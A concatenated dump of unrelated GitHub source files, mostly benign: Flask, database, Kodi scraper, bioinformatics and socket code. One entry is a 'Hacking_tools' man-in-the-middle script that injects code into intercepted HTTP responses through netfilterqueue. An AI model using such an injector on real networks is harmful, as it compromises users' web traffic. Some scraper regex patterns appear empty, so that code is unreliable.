+{"seq_id":"31405347067","text":"from flask import render_template\nimport connexion\nfrom flask_cors import CORS\n\n\n# Create application instance\napp = connexion.App(__name__, specification_dir=\"./\")\nCORS(app.app)\n# Read the swagger.yml file to configure the endpoints\napp.add_api(\"swagger.yml\")\n\n# Create a URL route in our app for \"/\"\n@app.route(\"/\")\ndef home():\n \"\"\"\n This function just responds to the browser URL\n localhost:5000/\n\n :return: \"Welcome to the TranSupport API!\"\n \"\"\"\n return \"Welcome to the TranSupport API!\"\n\n\n# If we;re running in stand alone mode, run the >ptyapp\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080, debug=True)\n","repo_name":"StephanieJoyMills/transupport","sub_path":"backend/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21676383722","text":"from app.config.db import get_string_conexao\nfrom app.config.db import error\n\nclass ItensPedido():\n def __init__(self):\n self.id = 0\n self.produto_id = 0\n self.pedido_id = 0\n\n def salvar(self):\n try:\n connection = get_string_conexao()\n if connection.is_connected():\n cursor = connection.cursor()\n sql = \"INSERT INTO itens_pedidos (produto_id, pedido_id)\" + \"VALUES (%s, %s)\"\n valores = (self.produto_id, self.pedido_id)\n cursor.execute(sql, valores)\n connection.commit()\n return {\"error\": False}\n except error as e:\n print(e)\n return {\"error\": True, \"msg\": e}\n finally:\n if connection.is_connected():\n cursor.close()\n connection.close()\n","repo_name":"Jo-Analyst/Codigo-de-estudos","sub_path":"python/Desafio-python16/app/model/itens_pedidos.py","file_name":"itens_pedidos.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70892662163","text":"#!/usr/bin/python\r\n\r\nimport git as pygit\r\nimport gdiff\r\n\r\nfrom config import *\r\nfrom commit import *\r\n\r\nclass GitCommit(Commit):\r\n def getDiffsArray(self):\r\n if self.diffIsReallyBig: return []\r\n \r\n alldiffs = []\r\n differ = gdiff.diff_match_patch()\r\n \r\n commit = self.getChangedTextMetadata()\r\n for d in commit.diff(commit.__str__()+'^').iter_change_type('M'): #Changed\r\n left = d.a_blob.data_stream.read()\r\n right = d.b_blob.data_stream.read()\r\n alldiffs.append(differ.diff_main(left, right))\r\n\r\n for d in commit.diff(commit.__str__()+'^').iter_change_type('A'): #Added\r\n addition = d.b_blob.data_stream.read()\r\n alldiffs.append(differ.diff_main('', addition))\r\n\r\n return alldiffs\r\n def getChangedTextMetadata(self):\r\n localfolder = urlToFolder(self.repo.url)\r\n repoloc = Config.fsdir + 'git-repos/' + localfolder + '/'\r\n repo = pygit.Repo(repoloc)\r\n \r\n commit = repo.commit(self.uniqueid)\r\n return commit\r\n def getChangedTexts(self, commitobj):\r\n if self.changedTexts != None:\r\n return self.changedTexts\r\n elif self.changedTexts_data != None:\r\n return self._loadChangedTextFromBackingVar()\r\n elif commitobj == None:\r\n raise Exception(\"NULL passed to getChangedTexts when local changedTexts was not set\")\r\n \r\n alldiffs = []\r\n differ = gdiff.diff_match_patch()\r\n \r\n for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('M'): #Changed\r\n left = d.a_blob.data_stream.read()\r\n right = d.b_blob.data_stream.read()\r\n diffs = differ.diff_main(left, right)\r\n if diffs: differ.diff_cleanupSemantic(diffs)\r\n\r\n for d in diffs:\r\n if d[0] != 0 and d[1].strip():\r\n alldiffs.append(d[1].lower())\r\n\r\n for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('A'): #Added\r\n addition = d.b_blob.data_stream.read()\r\n alldiffs.append(addition.lower())\r\n #for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('D'): #Deleted\r\n # pass\r\n #for d in commitobj.diff(commitobj.__str__()+'^').iter_change_type('R'): #Renamed\r\n # pass\r\n self.changedTexts = alldiffs\r\n return self.changedTexts\r\n","repo_name":"cryptodotis/code-peer-review","sub_path":"gitcommit.py","file_name":"gitcommit.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"3"}
+{"seq_id":"31869339791","text":"\"\"\"Collect trace mode details.\"\"\"\nfrom lib.utils import graph_query, curlify\n\n\ndef unhandled_error_detection(url, proxy, headers, debug_mode):\n \"\"\"Get unhandled errors.\"\"\"\n res = {\n 'result':False,\n 'title':'Unhandled Errors Detection',\n 'description':'Exception errors are not handled',\n 'impact':'Information Leakage - /' + url.rsplit('/', 1)[-1],\n 'severity':'INFO',\n 'color': 'green',\n 'curl_verify':''\n }\n\n q = 'qwerty cop { abc }'\n\n try:\n if debug_mode:\n headers['X-GraphQL-Cop-Test'] = res['title']\n gql_response = graph_query(url, proxies=proxy, headers=headers, payload=q)\n res['curl_verify'] = curlify(gql_response)\n if gql_response.json()['errors'][0]['extensions']['exception']:\n res['result'] = True\n elif '\\'extensions\\': {\\'exception\\':' in str(gql_response.json()).lower():\n res['result'] = True\n except:\n pass\n\n return res\n","repo_name":"dolevf/graphql-cop","sub_path":"lib/tests/info_unhandled_error.py","file_name":"info_unhandled_error.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"3"}
+{"seq_id":"20945715164","text":"# zombi https://github.com/zombiB/zombi-addons/\r\n\r\nimport re\r\n\t\r\nfrom resources.lib.gui.hoster import cHosterGui\r\nfrom resources.lib.gui.gui import cGui\r\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\r\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\r\nfrom resources.lib.handler.requestHandler import cRequestHandler\r\nfrom resources.lib.comaddon import VSlog, siteManager, addon\r\nfrom resources.lib.parser import cParser\r\n\r\nADDON = addon()\r\nicons = ADDON.getSetting('defaultIcons')\r\n\r\nSITE_IDENTIFIER = 'shoofvod'\r\nSITE_NAME = 'Shoofvod'\r\nSITE_DESC = 'arabic vod'\r\n \r\nURL_MAIN = siteManager().getUrlMain(SITE_IDENTIFIER)\r\n\r\nRAMADAN_SERIES = (URL_MAIN + '/Cat-144-1', 'showSeries')\r\nMOVIE_EN = (URL_MAIN + '/al_751319_1', 'showMovies')\r\nMOVIE_AR = (URL_MAIN + '/Cat-100-1', 'showMovies')\r\nMOVIE_HI = (URL_MAIN + '/Cat-132-1', 'showMovies')\r\nMOVIE_TURK = (URL_MAIN + '/Cat-48-1', 'showMovies')\r\nMOVIE_ANIME = (URL_MAIN + '/Cat-57-1', 'showMovies')\r\nDOC_NEWS = (URL_MAIN + '/Cat-23-1', 'showMovies')\r\nSERIE_DUBBED = (URL_MAIN + '/Cat-129-1', 'showSeries')\r\nSERIE_AR = (URL_MAIN + '/Cat-98-1', 'showSeries')\r\nSERIE_TR = (URL_MAIN + '/Cat-128-1', 'showSeries')\r\nSERIE_TR_AR = (URL_MAIN + '/Cat-129-1', 'showSeries')\r\nSERIE_HEND = (URL_MAIN + '/Cat-130-1', 'showSeries')\r\nSERIE_GENRES = (True, 'showGenres')\r\nREPLAYTV_NEWS = (URL_MAIN + '/Cat-39-1', 'showSeries')\r\nTHEATER = (URL_MAIN + '/Cat-44-1', 'showEps')\r\nKID_CARTOON = (URL_MAIN + '/Cat-56-1', 'showSeries')\r\n\r\nURL_SEARCH = (URL_MAIN + '/Search/', 'showMovies')\r\nFUNCTION_SEARCH = 'showMovies'\r\n \r\ndef load():\r\n oGui = cGui()\r\n\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n oOutputParameterHandler.addParameter('siteUrl', 'http://venom/')\r\n oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Search', icons + '/Search.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', RAMADAN_SERIES[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات رمضان', icons + '/Ramadan.png', oOutputParameterHandler)\r\n\r\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_EN[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام أجنبية', icons + '/MoviesEnglish.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_AR[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام عربية', icons + '/Arabic.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_TURK[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام تركية', icons + '/Turkish.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_HI[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام هندية', icons + '/Hindi.png', oOutputParameterHandler) \r\n \r\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_ANIME[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام إنمي', icons + '/Anime.png', oOutputParameterHandler)\r\n\r\n oOutputParameterHandler.addParameter('siteUrl', DOC_NEWS[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', 'أفلام وثائقية', icons + '/Documentary.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', SERIE_AR[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات عربية', icons + '/Arabic.png', oOutputParameterHandler)\r\n\r\n oOutputParameterHandler.addParameter('siteUrl', SERIE_TR[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات تركية', icons + '/Turkish.png', oOutputParameterHandler)\r\n\r\n oOutputParameterHandler.addParameter('siteUrl', SERIE_HEND[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSerie', 'مسلسلات هندية', icons + '/Hindi.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', SERIE_TR_AR[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات تركية مدبلجة', icons + '/TVShowsTurkish-Dubbed.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', SERIE_DUBBED[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات مدبلجة', icons + '/Dubbed.png', oOutputParameterHandler)\r\n \r\n oOutputParameterHandler.addParameter('siteUrl', KID_CARTOON[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'مسلسلات كرتون', icons + '/Cartoon.png', oOutputParameterHandler) \r\n\r\n oOutputParameterHandler.addParameter('siteUrl', REPLAYTV_NEWS[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', 'برامج تلفزيونية',icons + '/Programs.png', oOutputParameterHandler)\r\n\t\r\n oOutputParameterHandler.addParameter('siteUrl', THEATER[0])\r\n oGui.addDir(SITE_IDENTIFIER, 'showEps', 'مسرحيات', icons + '/Theater.png', oOutputParameterHandler)\r\n \r\n oGui.setEndOfDirectory()\r\n \r\ndef showSearch():\r\n oGui = cGui()\r\n \r\n sSearchText = oGui.showKeyBoard()\r\n if sSearchText:\r\n sUrl = URL_MAIN + '/Search/'+sSearchText\r\n\r\n showMovies(sUrl)\r\n oGui.setEndOfDirectory()\r\n return\r\n \r\ndef showGenres():\r\n oGui = cGui()\r\n oInputParameterHandler = cInputParameterHandler()\r\n sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n liste = []\r\n\t\r\n liste.append( ['مسلسلات سورية - لبنانية',URL_MAIN + '/Cat-93-1'] )\r\n\r\n \r\n for sTitle,sUrl in liste:\r\n \r\n oOutputParameterHandler = cOutputParameterHandler()\r\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', sTitle, icons + '/Genres.png', oOutputParameterHandler)\r\n \r\n oGui.setEndOfDirectory()\r\n \r\ndef showMovies(sSearch = ''):\r\n oGui = cGui()\r\n if sSearch:\r\n sUrl = sSearch\r\n else:\r\n oInputParameterHandler = cInputParameterHandler()\r\n sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n oRequestHandler = cRequestHandler(sUrl)\r\n sHtmlContent = oRequestHandler.request()\r\n \r\n # (.+?) ([^<]+) .+?\r\n sPattern = ''\r\n\r\n oParser = cParser()\r\n aResult = oParser.parse(sHtmlContent, sPattern)\r\n\t\r\n\t\r\n if aResult[0]:\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n for aEntry in aResult[1]:\r\n \r\n sTitle = aEntry[2].replace(\"مشاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n\r\n\r\n siteUrl = URL_MAIN+aEntry[0]\r\n siteUrl = siteUrl.replace('vidpage_','Play/')\r\n sThumb = aEntry[1]\r\n sDesc = ''\r\n sYear = ''\r\n m = re.search('([0-9]{4})', sTitle)\r\n if m:\r\n sYear = str(m.group(0))\r\n sTitle = sTitle.replace(sYear,'')\r\n\r\n\r\n oOutputParameterHandler.addParameter('siteUrl',siteUrl)\r\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n oOutputParameterHandler.addParameter('sYear', sYear)\r\n oOutputParameterHandler.addParameter('sDesc', sDesc)\r\n\t\t\t\r\n if 'الحلقة' in aEntry[2]:\r\n oGui.addTV(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n else:\r\n\r\n oGui.addMovie(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n \r\n if not sSearch:\r\n sNextPage = __checkForNextPage(sHtmlContent)\r\n if sNextPage:\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n oOutputParameterHandler.addParameter('siteUrl', sNextPage)\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', '[COLOR teal]Next >>>[/COLOR]', icons + '/Next.png', oOutputParameterHandler)\r\n oGui.setEndOfDirectory()\r\n \r\ndef showSeries(sSearch = ''):\r\n oGui = cGui()\r\n if sSearch:\r\n sUrl = sSearch\r\n else:\r\n oInputParameterHandler = cInputParameterHandler()\r\n sUrl = oInputParameterHandler.getValue('siteUrl')\r\n \r\n oRequestHandler = cRequestHandler(sUrl)\r\n sHtmlContent = oRequestHandler.request()\r\n # (.+?) ([^<]+) .+?\r\n sPattern = ''\r\n\r\n oParser = cParser()\r\n aResult = oParser.parse(sHtmlContent, sPattern)\r\n\t\r\n\t\r\n if aResult[0]:\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n for aEntry in aResult[1]:\r\n \r\n sTitle = aEntry[2].replace(\"��شاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n siteUrl = URL_MAIN+aEntry[0]\r\n sThumb = aEntry[1]\r\n sDesc = \"\"\r\n sYear = \"\"\r\n\t\t\t\r\n\r\n\r\n oOutputParameterHandler.addParameter('siteUrl',siteUrl)\r\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n oOutputParameterHandler.addParameter('sYear', sYear)\r\n oOutputParameterHandler.addParameter('sDesc', sDesc)\r\n\r\n oGui.addTV(SITE_IDENTIFIER, 'showEps', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n \r\n \r\n \r\n if not sSearch:\r\n sNextPage = __checkForNextPage(sHtmlContent)\r\n if sNextPage:\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n oOutputParameterHandler.addParameter('siteUrl', sNextPage)\r\n oGui.addDir(SITE_IDENTIFIER, 'showSeries', '[COLOR teal]Next >>>[/COLOR]', icons + '/Next.png', oOutputParameterHandler)\r\n oGui.setEndOfDirectory()\r\n \r\n \r\ndef __checkForNextPage(sHtmlContent):\r\n sPattern = '(.+?)'\r\n\t\r\n oParser = cParser()\r\n aResult = oParser.parse(sHtmlContent, sPattern)\r\n \r\n if aResult[0]:\r\n for aEntry in aResult[1]:\r\n if 'التالي' in aEntry[1]:\r\n VSlog(URL_MAIN+aEntry[0])\r\n return URL_MAIN+aEntry[0]\r\n\r\n return False\r\n \r\ndef showEps():\r\n oGui = cGui()\r\n \r\n oInputParameterHandler = cInputParameterHandler()\r\n sUrl = oInputParameterHandler.getValue('siteUrl')\r\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\r\n sThumb = oInputParameterHandler.getValue('sThumb')\r\n \r\n oRequestHandler = cRequestHandler(sUrl)\r\n sHtmlContent = oRequestHandler.request()\r\n # (.+?) ([^<]+) .+?\r\n sPattern = '.+?
.+?
.+?([^<]+)
'\r\n\r\n oParser = cParser()\r\n aResult = oParser.parse(sHtmlContent, sPattern)\r\n\r\n \r\n if aResult[0]:\r\n oOutputParameterHandler = cOutputParameterHandler()\r\n for aEntry in aResult[1]:\r\n \r\n sTitle = aEntry[2].replace(\"مشاهدة\",\"\").replace(\"مترجمة\",\"\").replace(\"مترجم\",\"\").replace(\"فيلم\",\"\").replace(\"مسلسل\",\"\").replace(\"مدبلج للعربية\",\"\").replace(\"مدبلج\",\"\").replace(\"والأخيرة\",\"\").replace(\"-\",\"\").replace(\"الحلقة \",\" E\").replace(\"حلقة \",\" E\")\r\n siteUrl = URL_MAIN+aEntry[0]\r\n siteUrl = siteUrl.replace('vidpage_','Play/')\r\n sThumb = aEntry[1]\r\n sDesc = \"\"\r\n\r\n \r\n\r\n oOutputParameterHandler.addParameter('siteUrl', siteUrl)\r\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\r\n oOutputParameterHandler.addParameter('sThumb', sThumb)\r\n\r\n \r\n\r\n \r\n oGui.addEpisode(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\r\n \r\n oGui.setEndOfDirectory()\r\n \r\ndef showHosters():\r\n oGui = cGui()\r\n oInputParameterHandler = cInputParameterHandler()\r\n sUrl = oInputParameterHandler.getValue('siteUrl')\r\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\r\n sThumb = oInputParameterHandler.getValue('sThumb')\r\n\r\n UA = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0'\r\n \r\n oRequestHandler = cRequestHandler(sUrl)\r\n sHtmlContent = oRequestHandler.request()\r\n\r\n oParser = cParser()\r\n \r\n sPattern = 'var url = \"([^<]+)\" +' \r\n aResult = oParser.parse(sHtmlContent,sPattern)\r\n if aResult[0]:\r\n m3url = aResult[1][0]\r\n m3url = URL_MAIN + '' + m3url \r\n oRequest = cRequestHandler(m3url)\r\n sHtmlContent = oRequest.request()\r\n # (.+?) ([^<]+) .+? \r\n sPattern = ' --------------------------------------------------------------------------\",injection_code + \"\")\n content_length_search = re.search(\"(?:Content-length:\\s)(\\d*)\",load)\n if content_length_search:\n content_length = content_length_search.group(1)\n new_content_length= int(content_length) + len(injection_code)\n load = load.replace(content_length,new_content_length)\n\n\n if load != scapy_packet[scapy.Raw].load:\n new_packet = set_load(scapy_packet, load)\n packet.set_payload(str(new_packet))\n\n packet.accept()\n\n\noption = arg_parse()\nqueue = netfilterqueue.NetfilterQueue()\nqueue(0,process_packet)\nqueue.run()","repo_name":"vicky1412/Hacking_tools","sub_path":"Hacking tools/code_injector/code_injector.py","file_name":"code_injector.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71810727441","text":"# 문제는 순열을 통해서 연산자를 배열하는 것\n# 연산자를 0 1 0 1 로 받으면 리스트에는 [-, /] 가 담기게 만든다.\n# 담은 리스트를 조합을 통해 섞어준다. \n# 리스트의 0 번부터 len(list) -1 번까지의 순서로 수의 나열 뒤에 붙여 써준다.\n# 수 0번 연산자 0번 수 1번을 놓고 계산을 한다. \n# \nimport itertools # 순열 사용\n\nN = int(input())\nnums = list(map(int, input().split()))\ncalc = list(map(int, input().split()))\nchr = '' # 문자열로 연산자를 받음\nchr += '+' * calc[0] + '-' * calc[1] + '*' * calc[2] + '/' * calc[3]\nlst = [] # 계산 값을 리스트에 담자\nnpn = list(map(list, itertools.permutations(chr)))\nfor j in range(len(list(npn))):\n plus = nums[0]\n for i in range(len(chr)):\n if list(npn)[j][i] == '+':\n plus += nums[i+1]\n elif list(npn)[j][i] == '-':\n plus -= nums[i+1]\n elif list(npn)[j][i] == '*':\n plus *= nums[i+1]\n elif list(npn)[j][i] == '/':\n if plus < 0:\n plus = -(abs(plus) // nums[i+1])\n else:\n plus //= nums[i+1]\n lst.append(plus)\nprint(max(lst))\nprint(min(lst))\n\n\n\n","repo_name":"youngmin940629/AlgorithmStudy","sub_path":"알고리즘스터디/2021_12/1204/박주윤/boj_14888_연산자끼워넣기.py","file_name":"boj_14888_연산자끼워넣기.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37065513338","text":"import socket\nfrom threading import Thread\n\nHOST = \"127.0.0.1\"\nPORT_LISTEN = 9090\nPORT_SEND = 5050\n\n\ndef listen():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind((HOST, PORT_LISTEN))\n s.listen()\n conn, addr = s.accept()\n with conn:\n print(f\"Connected by {addr}\")\n while True:\n data = conn.recv(1024)\n data = data.decode()\n if data == \"QUIT\":\n print(f\"[END] Client disconnected\")\n break\n elif data:\n print(f\"[MESSAGE RECEIVED] - {data}\\n\")\n\n\ndef send(message):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT_SEND))\n s.sendall(message.encode(\"utf-8\"))\n data = s.recv(1024)\n\n\nif __name__ == \"__main__\":\n listenerThread = Thread(target=listen)\n listenerThread.start()\n\n while True:\n message = input(\"Enter your message: \")\n try:\n send(message)\n print(\"[MESSAGE RECEIVED] Message sent\\n\")\n except ConnectionRefusedError:\n print(\"[ERROR] Message not received\\n\")\n if message == \"QUIT\":\n break\n\n print(\"[END] You left the chat\")\n\n","repo_name":"WilliamAlf/Encrypted-Chat-Application","sub_path":"Communications/Old Version/peerOther.py","file_name":"peerOther.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31271167181","text":"# List -- []\n# Set -- ()\n\n\n\n\n\n# a = \"Python\"\n# print(a[:3] + \"*\" + a [-3])\n# max -- Katta sonni topadi\n# min -- Kichik sonni topadi\n# len -- sanash uchun\n\n\n\n\n\n\n\n# a = [12, 23, 45, 56, 78]\n# for i in a: \n# if i % 2 != 0:\n# print(i)\n\n\n\n# a = [12, 23, 45, 56, 78]\n# for i in a:\n# print(max(a))\n\n\n\nname = str(input(\"Ism: \"))\nsurname = str(input(\"Familiya: \"))\nage = int(input(\"Yosh: \"))\nnumber = int(input(\"Nomer: \"))\n\nname_2 = name.lower()\nsurname_2 = surname.lower()\n\nprint(f\"M I S T E R {name_2.capitalize()} {surname_2.capitalize()}, '\\n', {age}, '\\n', {number}\")","repo_name":"richkhandev/lesson_1","sub_path":"dars_8.py","file_name":"dars_8.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32503582681","text":"__all__ = (\"makePropertySet\",)\n\ntry:\n import lsst.daf.base as dafBase\nexcept ImportError:\n dafBase = None\n\n\ndef _helper(ps, prefix, dict_):\n for k, v in dict_.items():\n name = prefix + \".\" + k if prefix is not None else k\n if isinstance(v, dict):\n _helper(ps, name, v)\n elif v is not None:\n ps.set(name, v)\n\n\ndef makePropertySet(config):\n \"\"\"Convert a configuration into a `lsst.daf.base.PropertySet`.\n\n Parameters\n ----------\n config : `lsst.pex.config.Config`\n Configuration instance.\n\n Returns\n -------\n propertySet : `lsst.daf.base.PropertySet`\n A `~lsst.daf.base.PropertySet` that is equivalent to the ``config``\n instance. If ``config`` is `None` then this return value is also\n `None`.\n\n See Also\n --------\n lsst.daf.base.PropertySet\n \"\"\"\n if dafBase is None:\n raise RuntimeError(\"lsst.daf.base is not available\")\n\n if config is not None:\n ps = dafBase.PropertySet()\n _helper(ps, None, config.toDict())\n return ps\n else:\n return None\n","repo_name":"lsst/pex_config","sub_path":"python/lsst/pex/config/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"793698599","text":"import numpy as np\n\nclass Error(Exception):\n \"\"\"Base class for exceptions in this module.\"\"\"\n pass\n\n\nclass Frame(object):\n\n '''\n Frame class to combine multiple packets into a single frame.\n '''\n \n def __init__(self, num_channels, packet, index=None):\n \n self.num_channels = num_channels #number channels \n self.frame_data = np.zeros((num_channels, 2048)) #frame payload\n self.trace_received = np.zeros(num_channels) #flags for which packets are in frame\n self.frame_number = 0 #Frame number from FPGA (i.e. frame timestamp 32 bit number)\n #the timestamps for each packet\n self.packet_timestamps = np.empty(num_channels, dtype=str)\n #['' for string in xrange(num_channels)] \n self.index = 0 #frame indexing number\n\n self.comp_type = np.dtype([('index', 'int64'), \n ('frame_number', 'uint32'),\n ('packet_timestamps', '|S30', self.num_channels), \n ('frame_data', 'int8', (self.num_channels, 2048))])\n\n\n #if packet is not None:\n self.frame_number = packet['timestamp']\n self.frame_data[int(packet['antenna'])] = packet['timestream']\n self.packet_timestamps[int(packet['antenna'])] = packet['comp_timestamp']\n self.trace_received[int(packet['antenna'])] = 1\n #if index is not None:\n self.index = index\n \n def __str__(self):\n '''\n Create the string representation of a Frame object.\n '''\n\n printstr = \"Frame index: {0:d}\\n\".format(self.index)\n printstr += \"Frame number: {0:X}\\n\".format(np.uint32(self.frame_number))\n printstr += \"\\tTotal number traces: {0:d}\\n\".format(self.num_channels)\n printstr += \"\\tTotal filled traces: {0:d}\\n\".format(int(np.sum(self.trace_received)))\n trace_key = \"\"\n for i in self.trace_received:\n trace_key += str(int(i)) \n printstr += \"\\tReceived traces: {0:s}\".format(trace_key)\n return printstr\n \n def is_full(self):\n '''\n Check if a frame has been filled.\n '''\n return int(sum(self.trace_received)) == self.num_channels\n\n def number_packets(self):\n '''\n Return the number of packets in a frame.\n '''\n return int(sum(self.trace_received))\n\n def add_packet(self, packet):\n '''\n Add information in a packet to a frame.\n '''\n\n try:\n if self.frame_number != packet['timestamp']:\n raise Error('Mismatched timestamp on add_packet.')\n else:\n self.frame_data[int(packet['antenna'])] = packet['timestream']\n self.packet_timestamps[int(packet['antenna'])] = packet['comp_timestamp']\n self.trace_received[int(packet['antenna'])] = 1\n\n return self.is_full()\n\n except Error:\n raise\n\n\n def array(self):\n '''\n Return the compound structure array representation of the Frame object.\n\n '''\n\n return np.array([(self.index, \n self.frame_number, \n self.packet_timestamps, \n self.frame_data)], dtype=self.comp_type)\n ","repo_name":"SeanCGriffin/suit-daq","sub_path":"frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":3281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21877719460","text":"\nimport luigi\nimport subprocess\nfrom os.path import join, dirname, basename\nfrom yaml import safe_load\nfrom shutil import rmtree\n\nfrom ..config import PipelineConfig\nfrom ..utils.conda import CondaPackage\nfrom ..utils.cap_task import CapTask\nfrom .map_to_human import RemoveHumanReads\n\n\nclass ErrorCorrectReads(CapTask):\n module_description = \"\"\"\n This module error corrects reads using BayesHammer.\n\n Motivation: reads can contain base errors introduced\n during sequencing. Running error correction reduces\n the total number of errors. This can improve the\n classification rate and decrease the misclassification\n rate.\n\n Negatives: error correction can remove SNPs present in\n secondary strains, as such error corrected reads should\n not be used to call SNPs.\n \"\"\"\n MODULE_VERSION = 'v0.2.2'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.pkg = CondaPackage(\n package=\"spades\",\n executable=\"spades.py\",\n channel=\"bioconda\",\n config_filename=self.config_filename,\n )\n self.config = PipelineConfig(self.config_filename)\n self.out_dir = self.config.out_dir\n self.nonhuman_reads = RemoveHumanReads.from_cap_task(self)\n\n def requires(self):\n return self.pkg, self.nonhuman_reads\n\n def tool_version(self):\n return self.run_cmd(f'{self.pkg.bin} --version').stderr.decode('utf-8')\n\n @classmethod\n def dependencies(cls):\n return [\"spades\", RemoveHumanReads]\n\n @classmethod\n def _module_name(cls):\n return 'error_corrected_reads'\n\n def output(self):\n out = {\n 'error_corrected_reads_1': self.get_target('R1', 'fastq.gz'),\n }\n if self.paired:\n out['error_corrected_reads_2'] = self.get_target('R2', 'fastq.gz')\n return out\n\n def _run(self):\n if self.paired:\n return self._run_paired()\n return self._run_single()\n\n def _run_single(self):\n r1 = self.nonhuman_reads.output()['nonhuman_reads_1']\n cmd = self.pkg.bin\n cmd += f' --only-error-correction --meta -U {r1.path} '\n outdir = f'{self.sample_name}.error_correction_out'\n cmd += f' -t {self.cores} -o {outdir} '\n if self.max_ram > 0:\n cmd += f' -m {self.max_ram} '\n self.run_cmd(cmd) # runs error correction but 